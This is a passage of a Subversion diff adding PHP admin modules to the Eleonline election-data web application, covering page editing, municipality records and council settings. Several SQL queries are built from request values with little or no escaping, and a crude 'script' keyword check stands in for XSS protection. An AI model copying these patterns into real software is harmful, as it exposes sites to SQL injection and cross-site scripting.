+	."<input class=\"modulo-button\"type=\"submit\" value=\""._OK."\">";
+	}else{
+        echo "<input type=\"hidden\" name=\"vai\" value=\"addedit\">"
+	."<input class=\"modulo-button\" type=\"submit\" value=\""._ADDCOME."\">";
+	}
+	
+	echo "</form>";
+        echo "</td></tr></table></center>";
+   echo"</td></tr></table>";
+     include ("footer.php");
+}
+
+function saveedit($mid, $title, $preamble, $content) {
+    global $prefix, $dbi,$id_cons,$id_cons_gen,$tab,$op;
+
+$temp=$title.$preamble.$content;
+	if (preg_match("/script/i",$temp)) die("La parola script e' proibita, devi toglierla dal testo.");
+    $result = mysql_query("update ".$prefix.$tab." set title='$title', preamble='$preamble', content='$content' WHERE mid='$mid' AND id_cons='$id_cons'", $dbi);
+    Header("Location: admin.php?op=$op&vai=come&id_cons_gen=$id_cons_gen");
+}
+
+function addedit($add_title, $add_preamble, $add_content) {
+    global $prefix, $dbi,$id_cons, $id_cons_gen,$tab,$op;
+
+    $result = mysql_query("insert into ".$prefix.$tab." (id_cons,title,preamble,content) values ('$id_cons', '$add_title', '$add_preamble','$add_content')", $dbi);
+    if (!$result) {
+	exit();
+    }
+    Header("Location: admin.php?op=$op&vai=come&id_cons_gen=$id_cons_gen");
+}
+
+
+function deleteedit($mid, $ok=0) {
+    global $prefix, $dbi, $id_cons,$id_cons_gen,$tab,$op;
+    if($ok) {
+	$result = mysql_query("delete from ".$prefix.$tab." where mid=$mid and id_cons='$id_cons'", $dbi);
+    	if (!$result) {
+	    return;
+    	}
+	Header("Location: admin.php?op=$op&vai=come&id_cons_gen=$id_cons_gen");
+    } else {
+    	ele();
+	OpenTable();
+	echo "<center><font size=\"4\"><b>"._ADMINCOME."</b></font></center>";
+	CloseTable();
+	echo "<br>";
+	OpenTable();
+	echo "<center>"._REMOVEINFO."";
+	echo "<br><br>[ <a href=\"admin.php?op=$op&amp;vai=come&amp;id_cons_gen=$id_cons_gen\">"._NO."</a> | <a href=\"admin.php?op=$op&amp;vai=deleteedit&amp;mid=$mid&amp;ok=1&amp;id_cons_gen=$id_cons_gen\">"._YES."</a> ]</center>";
+    	CloseTable();
+	echo"</td></tr></table>";
+	include("footer.php");
+    }
+
+
+
+}
+switch ($vai){
+
+// or "come" or "servizi" or "editedit"
+    case "come":
+	ele();
+    come();
+    break;
+    case "editedit":
+	ele();
+    come();
+    break;
+
+    case "saveedit":
+    saveedit($mid, $add_title, $add_preamble,$add_content);
+    break;
+
+    case "numeri":
+	ele();
+    come();
+    break;
+
+    case "servizi":
+	ele();
+    come();
+    break;
+    
+     case "link":
+	ele();
+    come();
+    break;
+
+
+
+    case "addedit":
+    addedit($add_title, $add_preamble,$add_content);
+    break;
+
+    case "deleteedit":
+    deleteedit($mid, $ok);
+    break;
+
+    
+
+}
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_comuni.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_comuni.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_comuni.php	(revision 44)
@@ -0,0 +1,242 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Comuni                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+#foreach($_FILES as $key=>$val) echo $key;die();
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$id_comune=$_SESSION['id_comune'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);	
+$perms=ChiSei(0);
+//if ($perms<128 or !$id_cons_gen) die("$perms Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+if ($perms!=256) die("$perms Non hai i permessi per inserire dati!");
+if (isset($param['desc'])) get_magic_quotes_gpc() ? $desc=$param['desc']:$desc=addslashes($param['desc']); else $desc='';
+if (isset($param['indirizzo'])) get_magic_quotes_gpc() ? $indirizzo=$param['indirizzo']:$indirizzo=addslashes($param['indirizzo']); else $indirizzo='';
+if (isset($param['centralino'])) get_magic_quotes_gpc() ? $centralino=$param['centralino']:$centralino=addslashes($param['centralino']); else $centralino='';
+if (isset($param['fax'])) get_magic_quotes_gpc() ? $fax=$param['fax']:$fax=addslashes($param['fax']); else $fax='';
+if (isset($param['email'])) get_magic_quotes_gpc() ? $email=$param['email']:$email=addslashes($param['email']); else $email='';
+if (isset($param['id_comune2'])) $id_comune2=intval($param['id_comune2']); else $id_comune2='';
+if (isset($param['min'])) $min=intval($param['min']); else $min='';
+if (isset($param['ok'])) $ok=addslashes($param['ok']); else $ok='';
+if (isset($param['fascia'])) $fascia=intval($param['fascia']); else $fascia=0;
+if (isset($param['prov'])) $prov=intval($param['prov']); else $prov=0;
+if (isset($param['simbolo'])) get_magic_quotes_gpc() ? $simbolo=$param['simbolo']:$simbolo=addslashes($param['simbolo']); else $simbolo='';
+if (isset($param['cerca'])) get_magic_quotes_gpc() ? $cerca=$param['cerca']:$cerca=addslashes($param['cerca']); else $cerca='';
+
+	$res = mysql_query("SELECT t1.tipo_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' " , $dbi);
+	list($tipo_cons) = mysql_fetch_row($res);
+	$res = mysql_query("SELECT genere FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' " , $dbi);
+	list($genere) = mysql_fetch_row($res);
+	include("modules/Elezioni/funzionidata.php");
+	include("modules/Elezioni/ele.php");
+
+	// Offset - visualizza il numero di elementi per pagina
+
+		$offset=15;
+		if (!isset($min)) $min=0;
+
+		$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+
+	/******************************************************/
+	/*Funzione di visualizzazione globale                 */
+	/*****************************************************/
+	//crea la pagina delle affluenze
+function all() {
+	global $bgcolor1, $bgcolor2, $prefix, $dbi,$id_cons,$desc,$indirizzo,$centralino,$fax,$email,$fascia,$prov,$id_comune2,$id_cons_gen,$cerca;
+ 
+	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n";
+	echo "function controllo_id() {\n";
+	echo "var is_num = /^[0-9]+$/;";
+	echo "if (document.modello.id_comune2.value.match(is_num)) \n return true;\n"; 
+	echo "else {\n";
+	echo "document.modello.id_comune2.bgColor=\"#FF0000\" \n";
+	echo "alert ('"._COD_NV."!')\n return false; \n";
+	echo "}\n";
+	echo "}\n//-->\n";
+	echo "</script>\n";
+
+ 
+	$resmod = mysql_query("SELECT id_comune,descrizione,indirizzo,centralino,fax,email,fascia,capoluogo,simbolo FROM ".$prefix."_ele_comuni where descrizione like '$cerca%' order by descrizione", $dbi);
+	echo "<table width=\"100%\"><tr><td bgcolor=\"$bgcolor2\"> <form name=\"cerca\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"inscomuni\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<table>";
+	echo "<tr><td><b>"._FILTRO."</b><input name=\"cerca\"></td>";
+	echo "<td><input type=\"submit\" name=\"invia\" value=\""._OK."\"></td></tr></table></form></td></tr></table>";
+
+	echo "<form name=\"modello\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\" onSubmit=\"return controllo_id()\">"
+		."<input type=\"hidden\" name=\"op\" value=\"inscomuni\">";
+	echo "<table width=\"100%\"><tr>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._STEMMA."</b></td><td><input type=\"file\" name=\"stemma\" size=\"10\"></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._CODICE."</b></td>";
+	if ($desc)
+		echo "<td><input type=\"hidden\" name=\"id_comune2\" value=\"$id_comune2\">$id_comune2</td>";
+	else
+		echo "<td><input name=\"id_comune2\" value=\"$id_comune2\" size=\"4\"></td>";
+	echo "</tr>";
+	$sel[1]='';$sel[2]='';$sel[3]='';$sel[4]='';$sel[5]='';$sel[6]='';$sel[7]='';$sel[8]='';$sel[9]='';
+	$sel[$fascia]='selected';
+	if($prov==1) $selpv='selected'; else $selpv='';
+	echo "<tr><td bgcolor=\"$bgcolor1\"><b>"._PROV."</b></td><td><select name=\"prov\"> <option value=\"0\">No<option value=\"1\" $selpv>Si</select></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._DESCR."</b></td><td><input name=\"desc\" value=\"$desc\"></td></tr>";
+	echo "<tr><td bgcolor=\"$bgcolor1\"><b>"._INDIRIZZO."</b></td><td><input name=\"indirizzo\" value=\"$indirizzo\"></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._CENTRALINO."</b></td><td><input name=\"centralino\" value=\"$centralino\" size=\"6\"></td></tr>";
+	echo "<tr><td bgcolor=\"$bgcolor1\"><b>"._FASCIA."</b></td><td><select name=\"fascia\">"
+		."<option value=\"1\"".$sel[1].">0-3.000"
+		."<option value=\"2\"".$sel[2].">3.001-10.000"
+		."<option value=\"3\"".$sel[3].">10.001-15.000"
+		."<option value=\"4\"".$sel[4].">15.001-30.000"
+		."<option value=\"5\"".$sel[5].">30.001-100.000"
+		."<option value=\"6\"".$sel[6].">100.001-250.000"
+		."<option value=\"7\"".$sel[7].">250.001-500.000"
+		."<option value=\"8\"".$sel[8].">500.001-1.000.000"
+		."<option value=\"9\"".$sel[9]."> >1.000.000";
+	echo "</select></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._FAX."</b></td><td><input name=\"fax\" value=\"$fax\" size=\"6\"></td></tr>";
+	echo "<tr><td bgcolor=\"$bgcolor1\"><b>"._EMAIL."</b></td><td><input name=\"email\" value=\"$email\"></td>";
+	echo "<td></td><td><input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"ok\" value=0>";
+	if ($desc) {
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td></tr></form>";
+	}else{
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr></form>";
+	}
+	$i=1;
+####
+echo "</table><hr>";
+	echo "<table><tr><td bgcolor=\"$bgcolor1\"><b>"._STEMMA."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._CODICE."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._PROV."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DESCR."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._INDIRIZZO."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._CENTRALINO."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FAX."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._EMAIL."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FASCIA."</b></td></tr>";
+
+####
+	while (list($id_comune2,$desc,$indirizzo,$centralino,$fax,$email,$fascia,$prov,$simbolo) = mysql_fetch_row($resmod)){ //elenco dei modelli inseriti
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		if (!$simbolo) $simbolo="nulla.jpg";
+		$valprov= $prov==0 ? 'No':'Si';
+		echo "<form name=\"modello$i\" action=\"admin.php\">"
+			."<input type=\"hidden\" name=\"op\" value=\"inscomuni\">";
+		echo "<input type=\"hidden\" name=\"do\" value=\"delete\">";
+		echo "<input type=\"hidden\" name=\"desc\" value=\"$desc\">";
+		echo "<tr align=\"left\" bgcolor=\"$bgcolor1\">";
+		echo "<td align=\"center\">
+		<img  src=\"admin.php?op=foto&amp;id_comune=$id_comune2&amp;prefix=$prefix\" width=\"50\" heigth=\"50\"></td>";
+
+		echo "<td width=\"32\"><b>$id_comune2</b></td>";
+		echo "<td width=\"32\"><b>$valprov</b></td>";
+		echo "<td><b>$desc</b></td>";
+		echo "<td><b>$indirizzo</b></td>";
+		echo "<td><b>$centralino</b></td>";
+		echo "<td><b>$fax</b></td>";
+		echo "<td><b>".substr($email,0,15)."...</b></td>";
+		switch ($fascia) {
+			case '0': $valfascia="-"; break;
+			case '1': $valfascia="< 3.000"; break;
+			case '2': $valfascia="3.001-10.000"; break;
+			case '3':$valfascia="10.001-15.000"; break;
+			case '4':$valfascia="15.001-30.000"; break;
+			case '5':$valfascia="30.001-100.000"; break;
+			case '6':$valfascia="100.001-250.000"; break;
+			case '7':$valfascia="250.001-500.000"; break;
+			case '8':$valfascia="500.001-1000.000"; break;
+			case '9': $valfascia=" >1.000.000"; break;
+		}	
+		echo "<td><b>$valfascia</b></td>";
+		echo "<input type=\"hidden\" name=\"ok\" value=0>";
+		echo "</td><td nowrap>[<a
+		href=\"admin.php?op=inscomuni&amp;desc=$desc&amp;id_comune2=$id_comune2&amp;indirizzo=$indirizzo&amp;centralino=$centralino&amp;fax=$fax&amp;email=$email&amp;fascia=$fascia&amp;prov=$prov&amp;id_cons_gen=$id_cons_gen\"><img  align=\"center\" src=\"modules/Elezioni/images/edit.gif\"
+                border=\"0\"> "._EDIT."</a>]";
+		echo "</tr></form>";
+		$i++;
+	}
+	echo "</table>";
+	CloseTable();
+	}
+
+function comuni($ok, $do,$desc,$indirizzo,$centralino,$fax,$email,$id_comune,$fascia,$prov,$simbolo) {
+		global $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons_gen,$genere;
+/*      			if ($do == "delete") {
+     				if ($ok !="1") {
+//						ele($id_cons);operatori
+						echo "<center><br><br>"._DOMCANCELLA." "._COMUNE." $desc ?<br>";
+						echo "[ <a href=\"admin.php?op=inscomuni&amp;id_comune=$id_comune&amp;desc=$desc\">"._NO."</a> ] - [<a href=\"admin.php?op=inscomuni&amp;do=delete&amp;desc=$desc&amp;id_comune=$id_comune&amp;ok=1\">"._YES."</a> ]";
+     				}else{
+		  				$result = sql_query("delete from ".$prefix."_ele_comuni where id_comune='$id_comune'", $dbi) || die("<br><br>Errore di eliminazione: ".mysql_error());
+          				if (!$result) return;
+		  				Header("Location: admin.php?op=inscomuni&id_comune=$id_comune");
+					}
+      		}else*/ 
+      	$_SESSION['id_comune']=$id_comune;
+	if ($do == "add") {
+      		if ($desc) {
+				$stemmablob='';
+				$stemmanome='';
+				$STEMM=$_FILES['stemma'];
+				$filestemma=$STEMM['tmp_name'];
+				$nomestemma=$STEMM['name'];
+				$sqlset='';
+				if ($filestemma){
+					$fdstemma = fopen ("$filestemma", "rb");
+					$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+					fclose ($fdstemma);
+					$stemmablob=addslashes($stemmacontents);
+					$stemmanome=addslashes($nomestemma);
+				}
+      			$result = mysql_query("insert into ".$prefix."_ele_comuni (id_comune,descrizione,indirizzo,centralino,fax,email,fascia,capoluogo,simbolo,stemma) values ('$id_comune','$desc','$indirizzo','$centralino','$fax','$email','$fascia','$prov','$stemmanome','$stemmablob')", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+           		Header("Location: admin.php?op=inscomuni&id_cons_gen=$id_cons_gen");
+     		} else {
+        		OpenTable();
+			echo "<center>"._GESTIONE." "._OPERATORI." desc=$desc; ";
+        		echo "<br><br><a href=\"admin.php?op=inscomuni&amp;id_comune=$id_comune\">"._IMM." "._OPERATORI."</a></center>";
+			CloseTable();
+     		}
+   	}else if ($do == "update") {
+			$stemmablob='';
+			$stemmanome='';
+			$STEMM=$_FILES['stemma'];
+			$filestemma=$STEMM['tmp_name'];
+			$nomestemma=$STEMM['name'];
+			$sqlset='';
+			if ($filestemma){
+				$fdstemma = fopen ("$filestemma", "rb");
+				$stemmacontents = fread ($fdstemma, filesize ("$filestemma"));
+				fclose ($fdstemma);
+				$stemmablob=addslashes($stemmacontents);
+				$stemmanome=addslashes($nomestemma);
+				$cond=", simbolo='$stemmanome', stemma='$stemmablob'";
+			} else {$cond='';$stemmanome=''; $stemmablob='';}
+        	$result = mysql_query("update  ".$prefix."_ele_comuni set descrizione='$desc' , indirizzo='$indirizzo', centralino='$centralino', fax='$fax', email='$email', fascia='$fascia',capoluogo='$prov' $cond where id_comune='$id_comune'", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+           	Header("Location: admin.php?op=inscomuni&id_cons_gen=$id_cons_gen");
+   	}
+}
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+
+if ($do)
+	comuni($ok, $do,$desc,$indirizzo,$centralino,$fax,$email,$id_comune2,$fascia,$prov,$simbolo);
+ele();
+all();
+include("footer.php");
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_confcons.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_confcons.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_confcons.php	(revision 44)
@@ -0,0 +1,212 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo gruppo                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=5;
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];	
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+$id_comune=$_SESSION['id_comune'];
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['descrizione'])) get_magic_quotes_gpc() ? 
+$descrizione=$param['descrizione']:$descrizione=addslashes($param['descrizione']); else $descrizione='';
+if (isset($param['id_conf'])) $id_conf=intval($param['id_conf']); else $id_conf='';
+if (isset($param['limite'])) get_magic_quotes_gpc() ? $limite=$param['limite']:$limite=addslashes($param['limite']); else $limite='';
+if (isset($param['consin'])) get_magic_quotes_gpc() ? $consin=$param['consin']:$consin=addslashes($param['consin']); else $consin='';
+if (isset($param['infpremio'])) get_magic_quotes_gpc() ? $infpremio=$param['infpremio']:$infpremio=addslashes($param['infpremio']); else $infpremio='';
+if (isset($param['listinfsbar'])) get_magic_quotes_gpc() ? $listinfsbar=$param['listinfsbar']:$listinfsbar=addslashes($param['listinfsbar']); else $listinfsbar='';
+if (isset($param['infminpremio'])) get_magic_quotes_gpc() ? $infminpremio=$param['infminpremio']:$infminpremio=addslashes($param['infminpremio']); else $infminpremio='';
+if (isset($param['listinfconta'])) get_magic_quotes_gpc() ? $listinfconta=$param['listinfconta']:$listinfconta=addslashes($param['listinfconta']); else $listinfconta='';
+if (isset($param['suppremio'])) get_magic_quotes_gpc() ? $suppremio=$param['suppremio']:$suppremio=addslashes($param['suppremio']); else $suppremio='';
+if (isset($param['supsbarramento'])) get_magic_quotes_gpc() ? $supsbarramento=$param['supsbarramento']:$supsbarramento=addslashes($param['supsbarramento']); else $supsbarramento='';
+if (isset($param['supminpremio'])) get_magic_quotes_gpc() ? $supminpremio=$param['supminpremio']:$supminpremio=addslashes($param['supminpremio']); else $supminpremio='';
+if (isset($param['listsupconta'])) get_magic_quotes_gpc() ? $listsupconta=$param['listsupconta']:$listsupconta=addslashes($param['listsupconta']); else $listsupconta='';
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+	function all() {
+   		global $tipo_cons,$param,$currentlang, $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $id_cons,$id_cons_gen,$id_comune,$do,$id_conf;
+	
+//		$restemp = mysql_query("select count(0) from ".$prefix."_ele_conf where id_conf='$id_conf'", $dbi);
+//		list($numtemp)=mysql_fetch_row($restemp);
+
+
+	echo "<center><br><table border=\"0\" width=\"100%\">";
+
+	//-----------------------visualizza blocco inserimento -
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_conf", $dbi); //da modificare
+	$max = mysql_num_rows($res);
+	$nuovo_gruppo=$max+1;
+	echo "<form name=\"gruppo2\" enctype=\"multipart/form-data\" action=\"admin.php\" method=\"post\">"
+	."<input type=\"hidden\" name=\"op\" value=\"confconsiglio\">";
+	if ($do=='modify') {
+	$resl = mysql_query("SELECT * FROM ".$prefix."_ele_conf where id_conf='$id_conf'", $dbi);
+	$gru=mysql_fetch_array($resl);
+	$nuovo_gruppo=$gru['id_conf'];
+	echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	}else{
+	$gru['id_conf']=$nuovo_gruppo;$gru['descrizione']='';$gru['limite']='';$gru['consin']='';$gru['infpremio']='';$gru['listinfsbar']='';$gru['listinfconta']='';$gru['supminpremio']='';$gru['infminpremio']='';$gru['suppremio']='';$gru['supsbarramento']='';$gru['listsupconta']='';
+	echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+	}
+	echo "<tr bgcolor=\"$bgcolor2\"><td align=\"center\"><input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+//	echo "<b>"._NUM."</b></td><td><input type=\"hidden\" name=\"id_conf\" value=\"".$gru['id_conf']."\">".$gru['id_conf']."</td><td align=\"center\">"
+	echo "<input type=\"hidden\" name=\"id_conf\" value=\"".$gru['id_conf']."\"><b>"._DESCR."</b></td><td colspan=\"3\"><input type=\"text\" name=\"descrizione\" value=\"".$gru['descrizione']."\"></td></tr>"
+	."<tr><td align=\"center\"><b>"._LIMITE."</b></td><td><select name=\"limite\"><option value=\"0\">"._NOFASCIA;
+		
+		$result1 = mysql_query("select id_fascia, abitanti from ".$prefix."_ele_fasce ", $dbi);
+		while(list($id,$descr)=mysql_fetch_row($result1)){
+			$sel= ($id == $gru['limite']) ? "selected":"";
+			echo "<option value=\"$id\" $sel>$descr";
+		}
+		echo "</select></td>";
+	$sel= ($gru['consin']==1) ? "selected":"";
+	echo "<td align=\"center\"><b>"._CONSIN."</b></td><td><select name=\"consin\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td></tr>"
+	."<tr><td align=\"center\" colspan=\"4\" bgcolor=\"$bgcolor2\"><b>"._SISTEMA_MAGGIORITARIO."</b></td></tr>"
+	."<tr><td align=\"center\"><b>"._INFPREMIO."</b></td><td><input type=\"text\" name=\"infpremio\" value=\"".$gru['infpremio']."\"></td>"
+	."<td align=\"center\"><b>"._LISTINFSBAR."</b></td><td><input type=\"text\" name=\"listinfsbar\" value=\"".$gru['listinfsbar']."\"></td></tr>"
+	."<tr><td align=\"center\"><b>"._INFMINPREMIO."</b></td><td><input type=\"text\" name=\"infminpremio\" value=\"".$gru['infminpremio']."\"></td>";
+	$sel= ($gru['listinfconta']==1) ? "selected":"";
+	echo"<td align=\"center\"><b>"._LISTINFCONTA."</b></td><td><select name=\"listinfconta\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td></tr>"
+	."<tr><td align=\"center\" colspan=\"4\" bgcolor=\"$bgcolor2\"><b>"._SISTEMA_PROPORZIONALE."</b></td></tr>"
+	."<tr><td align=\"center\"><b>"._SUPPREMIO."</b></td><td><input type=\"text\" name=\"suppremio\" value=\"".$gru['suppremio']."\"></td>"
+	."<td align=\"center\"><b>"._SUPSBAR."</b></td><td><input type=\"text\" name=\"supsbarramento\" value=\"".$gru['supsbarramento']."\"></td></tr>"
+	."<tr><td align=\"center\"><b>"._SUPMINPREMIO."</b></td><td><input type=\"text\" name=\"supminpremio\" value=\"".$gru['supminpremio']."\"></td>";
+	$sel= ($gru['listsupconta']==1) ? "selected":"";
+	echo "<td align=\"center\"><b>"._LISTSUPCONTA."</b></td><td><select name=\"listsupconta\"><option value=\"0\">No<option value=\"1\" $sel>Si</select>";
+	echo "<input type=\"hidden\" name=\"id_cons\" value=\"$id_cons\">"
+	."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"min\" value=\"$min\"></td></tr><tr><td></td><td></td><td></td>";
+	if ($do=='modify') 
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	else
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td>";
+	echo "</tr></form>";
+		
+		
+		
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_conf", $dbi);
+	$max = mysql_num_rows($res);
+	$result = mysql_query("select * from ".$prefix."_ele_conf ORDER BY id_conf  LIMIT $min,$offset", $dbi);
+	while(list($id_conf,$descrizione,$limite, $consin,$infpremio, $supsbarramento, $suppremio, $listinfsbar, $listinfconta, $listsupconta) = mysql_fetch_row($result)) {
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<tr bgcolor=\"$bgcolor1\"><td align=\"center\"><b>$id_conf</b></td>"
+		."<td align=\"left\"><b>$descrizione</b></td>"; /*
+		."<td align=\"center\"><b>$limite</b></td>"
+		."<td align=\"center\"><b>$consin</b></td>"
+		."<td align=\"center\"><b>$infpremio</b></td>"
+		."<td align=\"center\"><b>$supsbarramento</b></td>"
+		."<td align=\"center\"><b>$suppremio</b></td>"
+		."<td align=\"center\"><b>$listinfsbar</b></td>"
+		."<td align=\"center\"><b>$listinfconta</b></td>"
+		."<td align=\"center\"><b>$listsupconta</b></td>" */
+		echo "<td align=\"center\" nowrap>[<a
+		href=\"admin.php?op=confconsiglio&amp;do=modify&amp;id_conf=$id_conf&amp;id_cons_gen=$id_cons_gen&amp;min=$min\"><img src=\"modules/Elezioni/images/edit.gif\"
+	 	border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		
+		if (!isset($numtemp))
+			echo "[<a href=\"admin.php?op=confconsiglio&amp;do=delete&amp;id_conf=$id_conf&amp;id_cons_gen=$id_cons_gen&amp;min=$min\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		else
+			echo "["._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+		echo "</td></tr>";
+    	}
+    	echo "</table></center>";
+
+//      #'Pagina precedente' e 'Pagina Successiva'
+
+      		echo"<table align=\"center\" width=\"100%\" ><tr>";
+      		$prev=$min-$offset;
+      		if ($prev>=0) {
+              		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=confconsiglio&amp;id_conf=$id_conf&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;min=$prev\">";
+              		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+      		}
+
+      		$next=$min+$offset;
+      		if ($next>=($offset-1)) {
+        		if($next>=$max) $next = $max;
+	  		else {
+ 	             		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=confconsiglio&amp;id_conf=$id_conf&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+              			echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+        		}
+      		}
+     		echo "</tr></table><br>";
+
+	}
+
+//***********************************************************
+//Funzione di inserimento e gestione dei gruppi
+//************************************************************
+
+function confcons($ok, $do) {
+	global $prefix, $dbi, $id_cons,$simbolo2,$genere,$id_cons_gen,$id_comune,$min,$id_conf,$descrizione, $limite,$consin,$infpremio,$listinfsbar,$infminpremio,$listinfconta,$supsbarramento,$suppremio,$supminpremio,$listsupconta;
+	$aid=$_SESSION['aid'];
+	$perms=ChiSei($id_cons_gen);
+	if ($perms >128) {
+       	if ($do == "delete") {  
+     			if ($ok !="1") {
+				ele();
+				echo "<center><br><br>"._DOMCANCELLA." "._DESCR." $descrizione ?<br>";
+				echo "[ <a href=\"admin.php?op=confconsiglio&amp;id_cons_gen=$id_cons_gen&amp;id_conf=$id_conf\">"._NO."</a> ] - [<a href=\"admin.php?op=confconsiglio&amp;do=delete&amp;id_conf=$id_conf&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;ok=1\">"._YES."</a> ]";exit;
+     			}else{
+				$result = mysql_query("delete from ".$prefix."_ele_conf where id_conf='$id_conf'", $dbi);
+          			if (!$result) return;
+				Header("Location: admin.php?op=confconsiglio&id_cons_gen=$id_cons_gen&id_conf=$id_conf&min=$min");
+			}
+      		} elseif ($do == "add") {
+      			if ($descrizione) {
